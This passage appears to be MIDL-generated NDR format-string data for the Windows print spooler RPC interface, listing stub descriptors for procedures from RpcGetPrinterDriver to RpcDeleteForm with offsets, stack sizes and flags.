425 | 0x48, /* Old Flags: */
426 | /* 394 */ NdrFcLong( 0x0 ), /* 0 */
427 | /* 398 */ NdrFcShort( 0xa ), /* 10 */
428 | /* 400 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */
429 | /* 402 */ 0x32, /* FC_BIND_PRIMITIVE */
430 | 0x0, /* 0 */
431 | /* 404 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */
432 | /* 406 */ NdrFcShort( 0x0 ), /* 0 */
433 | /* 408 */ NdrFcShort( 0x8 ), /* 8 */
434 | /* 410 */ 0x44, /* Oi2 Flags: has return, has ext, */
435 | 0x1, /* 1 */
436 | /* 412 */ 0xa, /* 10 */
437 | 0x1, /* Ext Flags: new corr desc, */
438 | /* 414 */ NdrFcShort( 0x0 ), /* 0 */
439 | /* 416 */ NdrFcShort( 0x0 ), /* 0 */
440 | /* 418 */ NdrFcShort( 0x0 ), /* 0 */
441 | /* 420 */ NdrFcShort( 0x0 ), /* 0 */
442 |
443 | /* Return value */
444 |
445 | /* 422 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */
446 | /* 424 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */
447 | /* 426 */ 0x8, /* FC_LONG */
448 | 0x0, /* 0 */
449 |
450 | /* Procedure RpcGetPrinterDriver */
451 |
452 | /* 428 */ 0x0, /* 0 */
453 | 0x48, /* Old Flags: */
454 | /* 430 */ NdrFcLong( 0x0 ), /* 0 */
455 | /* 434 */ NdrFcShort( 0xb ), /* 11 */
456 | /* 436 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */
457 | /* 438 */ 0x32, /* FC_BIND_PRIMITIVE */
458 | 0x0, /* 0 */
459 | /* 440 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */
460 | /* 442 */ NdrFcShort( 0x0 ), /* 0 */
461 | /* 444 */ NdrFcShort( 0x8 ), /* 8 */
462 | /* 446 */ 0x44, /* Oi2 Flags: has return, has ext, */
463 | 0x1, /* 1 */
464 | /* 448 */ 0xa, /* 10 */
465 | 0x1, /* Ext Flags: new corr desc, */
466 | /* 450 */ NdrFcShort( 0x0 ), /* 0 */
467 | /* 452 */ NdrFcShort( 0x0 ), /* 0 */
468 | /* 454 */ NdrFcShort( 0x0 ), /* 0 */
469 | /* 456 */ NdrFcShort( 0x0 ), /* 0 */
470 |
471 | /* Return value */
472 |
473 | /* 458 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */
474 | /* 460 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */
475 | /* 462 */ 0x8, /* FC_LONG */
476 | 0x0, /* 0 */
477 |
478 | /* Procedure RpcGetPrinterDriverDirectory */
479 |
480 | /* 464 */ 0x0, /* 0 */
481 | 0x48, /* Old Flags: */
482 | /* 466 */ NdrFcLong( 0x0 ), /* 0 */
483 | /* 470 */ NdrFcShort( 0xc ), /* 12 */
484 | /* 472 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */
485 | /* 474 */ 0x32, /* FC_BIND_PRIMITIVE */
486 | 0x0, /* 0 */
487 | /* 476 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */
488 | /* 478 */ NdrFcShort( 0x0 ), /* 0 */
489 | /* 480 */ NdrFcShort( 0x8 ), /* 8 */
490 | /* 482 */ 0x44, /* Oi2 Flags: has return, has ext, */
491 | 0x1, /* 1 */
492 | /* 484 */ 0xa, /* 10 */
493 | 0x1, /* Ext Flags: new corr desc, */
494 | /* 486 */ NdrFcShort( 0x0 ), /* 0 */
495 | /* 488 */ NdrFcShort( 0x0 ), /* 0 */
496 | /* 490 */ NdrFcShort( 0x0 ), /* 0 */
497 | /* 492 */ NdrFcShort( 0x0 ), /* 0 */
498 |
499 | /* Return value */
500 |
501 | /* 494 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */
502 | /* 496 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */
503 | /* 498 */ 0x8, /* FC_LONG */
504 | 0x0, /* 0 */
505 |
506 | /* Procedure RpcDeletePrinterDriver */
507 |
508 | /* 500 */ 0x0, /* 0 */
509 | 0x48, /* Old Flags: */
510 | /* 502 */ NdrFcLong( 0x0 ), /* 0 */
511 | /* 506 */ NdrFcShort( 0xd ), /* 13 */
512 | /* 508 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */
513 | /* 510 */ 0x32, /* FC_BIND_PRIMITIVE */
514 | 0x0, /* 0 */
515 | /* 512 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */
516 | /* 514 */ NdrFcShort( 0x0 ), /* 0 */
517 | /* 516 */ NdrFcShort( 0x8 ), /* 8 */
518 | /* 518 */ 0x44, /* Oi2 Flags: has return, has ext, */
519 | 0x1, /* 1 */
520 | /* 520 */ 0xa, /* 10 */
521 | 0x1, /* Ext Flags: new corr desc, */
522 | /* 522 */ NdrFcShort( 0x0 ), /* 0 */
523 | /* 524 */ NdrFcShort( 0x0 ), /* 0 */
524 | /* 526 */ NdrFcShort( 0x0 ), /* 0 */
525 | /* 528 */ NdrFcShort( 0x0 ), /* 0 */
526 |
527 | /* Return value */
528 |
529 | /* 530 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */
530 | /* 532 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */
531 | /* 534 */ 0x8, /* FC_LONG */
532 | 0x0, /* 0 */
533 |
534 | /* Procedure RpcAddPrintProcessor */
535 |
536 | /* 536 */ 0x0, /* 0 */
537 | 0x48, /* Old Flags: */
538 | /* 538 */ NdrFcLong( 0x0 ), /* 0 */
539 | /* 542 */ NdrFcShort( 0xe ), /* 14 */
540 | /* 544 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */
541 | /* 546 */ 0x32, /* FC_BIND_PRIMITIVE */
542 | 0x0, /* 0 */
543 | /* 548 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */
544 | /* 550 */ NdrFcShort( 0x0 ), /* 0 */
545 | /* 552 */ NdrFcShort( 0x8 ), /* 8 */
546 | /* 554 */ 0x44, /* Oi2 Flags: has return, has ext, */
547 | 0x1, /* 1 */
548 | /* 556 */ 0xa, /* 10 */
549 | 0x1, /* Ext Flags: new corr desc, */
550 | /* 558 */ NdrFcShort( 0x0 ), /* 0 */
551 | /* 560 */ NdrFcShort( 0x0 ), /* 0 */
552 | /* 562 */ NdrFcShort( 0x0 ), /* 0 */
553 | /* 564 */ NdrFcShort( 0x0 ), /* 0 */
554 |
555 | /* Return value */
556 |
557 | /* 566 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */
558 | /* 568 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */
559 | /* 570 */ 0x8, /* FC_LONG */
560 | 0x0, /* 0 */
561 |
562 | /* Procedure RpcEnumPrintProcessors */
563 |
564 | /* 572 */ 0x0, /* 0 */
565 | 0x48, /* Old Flags: */
566 | /* 574 */ NdrFcLong( 0x0 ), /* 0 */
567 | /* 578 */ NdrFcShort( 0xf ), /* 15 */
568 | /* 580 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */
569 | /* 582 */ 0x32, /* FC_BIND_PRIMITIVE */
570 | 0x0, /* 0 */
571 | /* 584 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */
572 | /* 586 */ NdrFcShort( 0x0 ), /* 0 */
573 | /* 588 */ NdrFcShort( 0x8 ), /* 8 */
574 | /* 590 */ 0x44, /* Oi2 Flags: has return, has ext, */
575 | 0x1, /* 1 */
576 | /* 592 */ 0xa, /* 10 */
577 | 0x1, /* Ext Flags: new corr desc, */
578 | /* 594 */ NdrFcShort( 0x0 ), /* 0 */
579 | /* 596 */ NdrFcShort( 0x0 ), /* 0 */
580 | /* 598 */ NdrFcShort( 0x0 ), /* 0 */
581 | /* 600 */ NdrFcShort( 0x0 ), /* 0 */
582 |
583 | /* Return value */
584 |
585 | /* 602 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */
586 | /* 604 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */
587 | /* 606 */ 0x8, /* FC_LONG */
588 | 0x0, /* 0 */
589 |
590 | /* Procedure RpcGetPrintProcessorDirectory */
591 |
592 | /* 608 */ 0x0, /* 0 */
593 | 0x48, /* Old Flags: */
594 | /* 610 */ NdrFcLong( 0x0 ), /* 0 */
595 | /* 614 */ NdrFcShort( 0x10 ), /* 16 */
596 | /* 616 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */
597 | /* 618 */ 0x32, /* FC_BIND_PRIMITIVE */
598 | 0x0, /* 0 */
599 | /* 620 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */
600 | /* 622 */ NdrFcShort( 0x0 ), /* 0 */
601 | /* 624 */ NdrFcShort( 0x8 ), /* 8 */
602 | /* 626 */ 0x44, /* Oi2 Flags: has return, has ext, */
603 | 0x1, /* 1 */
604 | /* 628 */ 0xa, /* 10 */
605 | 0x1, /* Ext Flags: new corr desc, */
606 | /* 630 */ NdrFcShort( 0x0 ), /* 0 */
607 | /* 632 */ NdrFcShort( 0x0 ), /* 0 */
608 | /* 634 */ NdrFcShort( 0x0 ), /* 0 */
609 | /* 636 */ NdrFcShort( 0x0 ), /* 0 */
610 |
611 | /* Return value */
612 |
613 | /* 638 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */
614 | /* 640 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */
615 | /* 642 */ 0x8, /* FC_LONG */
616 | 0x0, /* 0 */
617 |
618 | /* Procedure RpcStartDocPrinter */
619 |
620 | /* 644 */ 0x0, /* 0 */
621 | 0x48, /* Old Flags: */
622 | /* 646 */ NdrFcLong( 0x0 ), /* 0 */
623 | /* 650 */ NdrFcShort( 0x11 ), /* 17 */
624 | /* 652 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */
625 | /* 654 */ 0x32, /* FC_BIND_PRIMITIVE */
626 | 0x0, /* 0 */
627 | /* 656 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */
628 | /* 658 */ NdrFcShort( 0x0 ), /* 0 */
629 | /* 660 */ NdrFcShort( 0x8 ), /* 8 */
630 | /* 662 */ 0x44, /* Oi2 Flags: has return, has ext, */
631 | 0x1, /* 1 */
632 | /* 664 */ 0xa, /* 10 */
633 | 0x1, /* Ext Flags: new corr desc, */
634 | /* 666 */ NdrFcShort( 0x0 ), /* 0 */
635 | /* 668 */ NdrFcShort( 0x0 ), /* 0 */
636 | /* 670 */ NdrFcShort( 0x0 ), /* 0 */
637 | /* 672 */ NdrFcShort( 0x0 ), /* 0 */
638 |
639 | /* Return value */
640 |
641 | /* 674 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */
642 | /* 676 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */
643 | /* 678 */ 0x8, /* FC_LONG */
644 | 0x0, /* 0 */
645 |
646 | /* Procedure RpcStartPagePrinter */
647 |
648 | /* 680 */ 0x0, /* 0 */
649 | 0x48, /* Old Flags: */
650 | /* 682 */ NdrFcLong( 0x0 ), /* 0 */
651 | /* 686 */ NdrFcShort( 0x12 ), /* 18 */
652 | /* 688 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */
653 | /* 690 */ 0x32, /* FC_BIND_PRIMITIVE */
654 | 0x0, /* 0 */
655 | /* 692 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */
656 | /* 694 */ NdrFcShort( 0x0 ), /* 0 */
657 | /* 696 */ NdrFcShort( 0x8 ), /* 8 */
658 | /* 698 */ 0x44, /* Oi2 Flags: has return, has ext, */
659 | 0x1, /* 1 */
660 | /* 700 */ 0xa, /* 10 */
661 | 0x1, /* Ext Flags: new corr desc, */
662 | /* 702 */ NdrFcShort( 0x0 ), /* 0 */
663 | /* 704 */ NdrFcShort( 0x0 ), /* 0 */
664 | /* 706 */ NdrFcShort( 0x0 ), /* 0 */
665 | /* 708 */ NdrFcShort( 0x0 ), /* 0 */
666 |
667 | /* Return value */
668 |
669 | /* 710 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */
670 | /* 712 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */
671 | /* 714 */ 0x8, /* FC_LONG */
672 | 0x0, /* 0 */
673 |
674 | /* Procedure RpcWritePrinter */
675 |
676 | /* 716 */ 0x0, /* 0 */
677 | 0x48, /* Old Flags: */
678 | /* 718 */ NdrFcLong( 0x0 ), /* 0 */
679 | /* 722 */ NdrFcShort( 0x13 ), /* 19 */
680 | /* 724 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */
681 | /* 726 */ 0x32, /* FC_BIND_PRIMITIVE */
682 | 0x0, /* 0 */
683 | /* 728 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */
684 | /* 730 */ NdrFcShort( 0x0 ), /* 0 */
685 | /* 732 */ NdrFcShort( 0x8 ), /* 8 */
686 | /* 734 */ 0x44, /* Oi2 Flags: has return, has ext, */
687 | 0x1, /* 1 */
688 | /* 736 */ 0xa, /* 10 */
689 | 0x1, /* Ext Flags: new corr desc, */
690 | /* 738 */ NdrFcShort( 0x0 ), /* 0 */
691 | /* 740 */ NdrFcShort( 0x0 ), /* 0 */
692 | /* 742 */ NdrFcShort( 0x0 ), /* 0 */
693 | /* 744 */ NdrFcShort( 0x0 ), /* 0 */
694 |
695 | /* Return value */
696 |
697 | /* 746 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */
698 | /* 748 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */
699 | /* 750 */ 0x8, /* FC_LONG */
700 | 0x0, /* 0 */
701 |
702 | /* Procedure RpcEndPagePrinter */
703 |
704 | /* 752 */ 0x0, /* 0 */
705 | 0x48, /* Old Flags: */
706 | /* 754 */ NdrFcLong( 0x0 ), /* 0 */
707 | /* 758 */ NdrFcShort( 0x14 ), /* 20 */
708 | /* 760 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */
709 | /* 762 */ 0x32, /* FC_BIND_PRIMITIVE */
710 | 0x0, /* 0 */
711 | /* 764 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */
712 | /* 766 */ NdrFcShort( 0x0 ), /* 0 */
713 | /* 768 */ NdrFcShort( 0x8 ), /* 8 */
714 | /* 770 */ 0x44, /* Oi2 Flags: has return, has ext, */
715 | 0x1, /* 1 */
716 | /* 772 */ 0xa, /* 10 */
717 | 0x1, /* Ext Flags: new corr desc, */
718 | /* 774 */ NdrFcShort( 0x0 ), /* 0 */
719 | /* 776 */ NdrFcShort( 0x0 ), /* 0 */
720 | /* 778 */ NdrFcShort( 0x0 ), /* 0 */
721 | /* 780 */ NdrFcShort( 0x0 ), /* 0 */
722 |
723 | /* Return value */
724 |
725 | /* 782 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */
726 | /* 784 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */
727 | /* 786 */ 0x8, /* FC_LONG */
728 | 0x0, /* 0 */
729 |
730 | /* Procedure RpcAbortPrinter */
731 |
732 | /* 788 */ 0x0, /* 0 */
733 | 0x48, /* Old Flags: */
734 | /* 790 */ NdrFcLong( 0x0 ), /* 0 */
735 | /* 794 */ NdrFcShort( 0x15 ), /* 21 */
736 | /* 796 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */
737 | /* 798 */ 0x32, /* FC_BIND_PRIMITIVE */
738 | 0x0, /* 0 */
739 | /* 800 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */
740 | /* 802 */ NdrFcShort( 0x0 ), /* 0 */
741 | /* 804 */ NdrFcShort( 0x8 ), /* 8 */
742 | /* 806 */ 0x44, /* Oi2 Flags: has return, has ext, */
743 | 0x1, /* 1 */
744 | /* 808 */ 0xa, /* 10 */
745 | 0x1, /* Ext Flags: new corr desc, */
746 | /* 810 */ NdrFcShort( 0x0 ), /* 0 */
747 | /* 812 */ NdrFcShort( 0x0 ), /* 0 */
748 | /* 814 */ NdrFcShort( 0x0 ), /* 0 */
749 | /* 816 */ NdrFcShort( 0x0 ), /* 0 */
750 |
751 | /* Return value */
752 |
753 | /* 818 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */
754 | /* 820 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */
755 | /* 822 */ 0x8, /* FC_LONG */
756 | 0x0, /* 0 */
757 |
758 | /* Procedure RpcReadPrinter */
759 |
760 | /* 824 */ 0x0, /* 0 */
761 | 0x48, /* Old Flags: */
762 | /* 826 */ NdrFcLong( 0x0 ), /* 0 */
763 | /* 830 */ NdrFcShort( 0x16 ), /* 22 */
764 | /* 832 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */
765 | /* 834 */ 0x32, /* FC_BIND_PRIMITIVE */
766 | 0x0, /* 0 */
767 | /* 836 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */
768 | /* 838 */ NdrFcShort( 0x0 ), /* 0 */
769 | /* 840 */ NdrFcShort( 0x8 ), /* 8 */
770 | /* 842 */ 0x44, /* Oi2 Flags: has return, has ext, */
771 | 0x1, /* 1 */
772 | /* 844 */ 0xa, /* 10 */
773 | 0x1, /* Ext Flags: new corr desc, */
774 | /* 846 */ NdrFcShort( 0x0 ), /* 0 */
775 | /* 848 */ NdrFcShort( 0x0 ), /* 0 */
776 | /* 850 */ NdrFcShort( 0x0 ), /* 0 */
777 | /* 852 */ NdrFcShort( 0x0 ), /* 0 */
778 |
779 | /* Return value */
780 |
781 | /* 854 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */
782 | /* 856 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */
783 | /* 858 */ 0x8, /* FC_LONG */
784 | 0x0, /* 0 */
785 |
786 | /* Procedure RpcEndDocPrinter */
787 |
788 | /* 860 */ 0x0, /* 0 */
789 | 0x48, /* Old Flags: */
790 | /* 862 */ NdrFcLong( 0x0 ), /* 0 */
791 | /* 866 */ NdrFcShort( 0x17 ), /* 23 */
792 | /* 868 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */
793 | /* 870 */ 0x32, /* FC_BIND_PRIMITIVE */
794 | 0x0, /* 0 */
795 | /* 872 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */
796 | /* 874 */ NdrFcShort( 0x0 ), /* 0 */
797 | /* 876 */ NdrFcShort( 0x8 ), /* 8 */
798 | /* 878 */ 0x44, /* Oi2 Flags: has return, has ext, */
799 | 0x1, /* 1 */
800 | /* 880 */ 0xa, /* 10 */
801 | 0x1, /* Ext Flags: new corr desc, */
802 | /* 882 */ NdrFcShort( 0x0 ), /* 0 */
803 | /* 884 */ NdrFcShort( 0x0 ), /* 0 */
804 | /* 886 */ NdrFcShort( 0x0 ), /* 0 */
805 | /* 888 */ NdrFcShort( 0x0 ), /* 0 */
806 |
807 | /* Return value */
808 |
809 | /* 890 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */
810 | /* 892 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */
811 | /* 894 */ 0x8, /* FC_LONG */
812 | 0x0, /* 0 */
813 |
814 | /* Procedure RpcAddJob */
815 |
816 | /* 896 */ 0x0, /* 0 */
817 | 0x48, /* Old Flags: */
818 | /* 898 */ NdrFcLong( 0x0 ), /* 0 */
819 | /* 902 */ NdrFcShort( 0x18 ), /* 24 */
820 | /* 904 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */
821 | /* 906 */ 0x32, /* FC_BIND_PRIMITIVE */
822 | 0x0, /* 0 */
823 | /* 908 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */
824 | /* 910 */ NdrFcShort( 0x0 ), /* 0 */
825 | /* 912 */ NdrFcShort( 0x8 ), /* 8 */
826 | /* 914 */ 0x44, /* Oi2 Flags: has return, has ext, */
827 | 0x1, /* 1 */
828 | /* 916 */ 0xa, /* 10 */
829 | 0x1, /* Ext Flags: new corr desc, */
830 | /* 918 */ NdrFcShort( 0x0 ), /* 0 */
831 | /* 920 */ NdrFcShort( 0x0 ), /* 0 */
832 | /* 922 */ NdrFcShort( 0x0 ), /* 0 */
833 | /* 924 */ NdrFcShort( 0x0 ), /* 0 */
834 |
835 | /* Return value */
836 |
837 | /* 926 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */
838 | /* 928 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */
839 | /* 930 */ 0x8, /* FC_LONG */
840 | 0x0, /* 0 */
841 |
842 | /* Procedure RpcScheduleJob */
843 |
844 | /* 932 */ 0x0, /* 0 */
845 | 0x48, /* Old Flags: */
846 | /* 934 */ NdrFcLong( 0x0 ), /* 0 */
847 | /* 938 */ NdrFcShort( 0x19 ), /* 25 */
848 | /* 940 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */
849 | /* 942 */ 0x32, /* FC_BIND_PRIMITIVE */
850 | 0x0, /* 0 */
851 | /* 944 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */
852 | /* 946 */ NdrFcShort( 0x0 ), /* 0 */
853 | /* 948 */ NdrFcShort( 0x8 ), /* 8 */
854 | /* 950 */ 0x44, /* Oi2 Flags: has return, has ext, */
855 | 0x1, /* 1 */
856 | /* 952 */ 0xa, /* 10 */
857 | 0x1, /* Ext Flags: new corr desc, */
858 | /* 954 */ NdrFcShort( 0x0 ), /* 0 */
859 | /* 956 */ NdrFcShort( 0x0 ), /* 0 */
860 | /* 958 */ NdrFcShort( 0x0 ), /* 0 */
861 | /* 960 */ NdrFcShort( 0x0 ), /* 0 */
862 |
863 | /* Return value */
864 |
865 | /* 962 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */
866 | /* 964 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */
867 | /* 966 */ 0x8, /* FC_LONG */
868 | 0x0, /* 0 */
869 |
870 | /* Procedure RpcGetPrinterData */
871 |
872 | /* 968 */ 0x0, /* 0 */
873 | 0x48, /* Old Flags: */
874 | /* 970 */ NdrFcLong( 0x0 ), /* 0 */
875 | /* 974 */ NdrFcShort( 0x1a ), /* 26 */
876 | /* 976 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */
877 | /* 978 */ 0x32, /* FC_BIND_PRIMITIVE */
878 | 0x0, /* 0 */
879 | /* 980 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */
880 | /* 982 */ NdrFcShort( 0x0 ), /* 0 */
881 | /* 984 */ NdrFcShort( 0x8 ), /* 8 */
882 | /* 986 */ 0x44, /* Oi2 Flags: has return, has ext, */
883 | 0x1, /* 1 */
884 | /* 988 */ 0xa, /* 10 */
885 | 0x1, /* Ext Flags: new corr desc, */
886 | /* 990 */ NdrFcShort( 0x0 ), /* 0 */
887 | /* 992 */ NdrFcShort( 0x0 ), /* 0 */
888 | /* 994 */ NdrFcShort( 0x0 ), /* 0 */
889 | /* 996 */ NdrFcShort( 0x0 ), /* 0 */
890 |
891 | /* Return value */
892 |
893 | /* 998 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */
894 | /* 1000 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */
895 | /* 1002 */ 0x8, /* FC_LONG */
896 | 0x0, /* 0 */
897 |
898 | /* Procedure RpcSetPrinterData */
899 |
900 | /* 1004 */ 0x0, /* 0 */
901 | 0x48, /* Old Flags: */
902 | /* 1006 */ NdrFcLong( 0x0 ), /* 0 */
903 | /* 1010 */ NdrFcShort( 0x1b ), /* 27 */
904 | /* 1012 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */
905 | /* 1014 */ 0x32, /* FC_BIND_PRIMITIVE */
906 | 0x0, /* 0 */
907 | /* 1016 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */
908 | /* 1018 */ NdrFcShort( 0x0 ), /* 0 */
909 | /* 1020 */ NdrFcShort( 0x8 ), /* 8 */
910 | /* 1022 */ 0x44, /* Oi2 Flags: has return, has ext, */
911 | 0x1, /* 1 */
912 | /* 1024 */ 0xa, /* 10 */
913 | 0x1, /* Ext Flags: new corr desc, */
914 | /* 1026 */ NdrFcShort( 0x0 ), /* 0 */
915 | /* 1028 */ NdrFcShort( 0x0 ), /* 0 */
916 | /* 1030 */ NdrFcShort( 0x0 ), /* 0 */
917 | /* 1032 */ NdrFcShort( 0x0 ), /* 0 */
918 |
919 | /* Return value */
920 |
921 | /* 1034 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */
922 | /* 1036 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */
923 | /* 1038 */ 0x8, /* FC_LONG */
924 | 0x0, /* 0 */
925 |
926 | /* Procedure RpcWaitForPrinterChange */
927 |
928 | /* 1040 */ 0x0, /* 0 */
929 | 0x48, /* Old Flags: */
930 | /* 1042 */ NdrFcLong( 0x0 ), /* 0 */
931 | /* 1046 */ NdrFcShort( 0x1c ), /* 28 */
932 | /* 1048 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */
933 | /* 1050 */ 0x32, /* FC_BIND_PRIMITIVE */
934 | 0x0, /* 0 */
935 | /* 1052 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */
936 | /* 1054 */ NdrFcShort( 0x0 ), /* 0 */
937 | /* 1056 */ NdrFcShort( 0x8 ), /* 8 */
938 | /* 1058 */ 0x44, /* Oi2 Flags: has return, has ext, */
939 | 0x1, /* 1 */
940 | /* 1060 */ 0xa, /* 10 */
941 | 0x1, /* Ext Flags: new corr desc, */
942 | /* 1062 */ NdrFcShort( 0x0 ), /* 0 */
943 | /* 1064 */ NdrFcShort( 0x0 ), /* 0 */
944 | /* 1066 */ NdrFcShort( 0x0 ), /* 0 */
945 | /* 1068 */ NdrFcShort( 0x0 ), /* 0 */
946 |
947 | /* Return value */
948 |
949 | /* 1070 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */
950 | /* 1072 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */
951 | /* 1074 */ 0x8, /* FC_LONG */
952 | 0x0, /* 0 */
953 |
954 | /* Procedure RpcClosePrinter */
955 |
956 | /* 1076 */ 0x0, /* 0 */
957 | 0x48, /* Old Flags: */
958 | /* 1078 */ NdrFcLong( 0x0 ), /* 0 */
959 | /* 1082 */ NdrFcShort( 0x1d ), /* 29 */
960 | /* 1084 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */
961 | /* 1086 */ 0x30, /* FC_BIND_CONTEXT */
962 | 0xe0, /* Ctxt flags: via ptr, in, out, */
963 | /* 1088 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */
964 | /* 1090 */ 0x0, /* 0 */
965 | 0x0, /* 0 */
966 | /* 1092 */ NdrFcShort( 0x38 ), /* 56 */
967 | /* 1094 */ NdrFcShort( 0x40 ), /* 64 */
968 | /* 1096 */ 0x44, /* Oi2 Flags: has return, has ext, */
969 | 0x2, /* 2 */
970 | /* 1098 */ 0xa, /* 10 */
971 | 0x1, /* Ext Flags: new corr desc, */
972 | /* 1100 */ NdrFcShort( 0x0 ), /* 0 */
973 | /* 1102 */ NdrFcShort( 0x0 ), /* 0 */
974 | /* 1104 */ NdrFcShort( 0x0 ), /* 0 */
975 | /* 1106 */ NdrFcShort( 0x0 ), /* 0 */
976 |
977 | /* Parameter phPrinter */
978 |
979 | /* 1108 */ NdrFcShort( 0x118 ), /* Flags: in, out, simple ref, */
980 | /* 1110 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */
981 | /* 1112 */ NdrFcShort( 0x32 ), /* Type Offset=50 */
982 |
983 | /* Return value */
984 |
985 | /* 1114 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */
986 | /* 1116 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */
987 | /* 1118 */ 0x8, /* FC_LONG */
988 | 0x0, /* 0 */
989 |
990 | /* Procedure RpcAddForm */
991 |
992 | /* 1120 */ 0x0, /* 0 */
993 | 0x48, /* Old Flags: */
994 | /* 1122 */ NdrFcLong( 0x0 ), /* 0 */
995 | /* 1126 */ NdrFcShort( 0x1e ), /* 30 */
996 | /* 1128 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */
997 | /* 1130 */ 0x32, /* FC_BIND_PRIMITIVE */
998 | 0x0, /* 0 */
999 | /* 1132 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */
1000 | /* 1134 */ NdrFcShort( 0x0 ), /* 0 */
1001 | /* 1136 */ NdrFcShort( 0x8 ), /* 8 */
1002 | /* 1138 */ 0x44, /* Oi2 Flags: has return, has ext, */
1003 | 0x1, /* 1 */
1004 | /* 1140 */ 0xa, /* 10 */
1005 | 0x1, /* Ext Flags: new corr desc, */
1006 | /* 1142 */ NdrFcShort( 0x0 ), /* 0 */
1007 | /* 1144 */ NdrFcShort( 0x0 ), /* 0 */
1008 | /* 1146 */ NdrFcShort( 0x0 ), /* 0 */
1009 | /* 1148 */ NdrFcShort( 0x0 ), /* 0 */
1010 |
1011 | /* Return value */
1012 |
1013 | /* 1150 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */
1014 | /* 1152 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */
1015 | /* 1154 */ 0x8, /* FC_LONG */
1016 | 0x0, /* 0 */
1017 |
1018 | /* Procedure RpcDeleteForm */
1019 |
1020 | /* 1156 */ 0x0, /* 0 */
1021 | 0x48, /* Old Flags: */
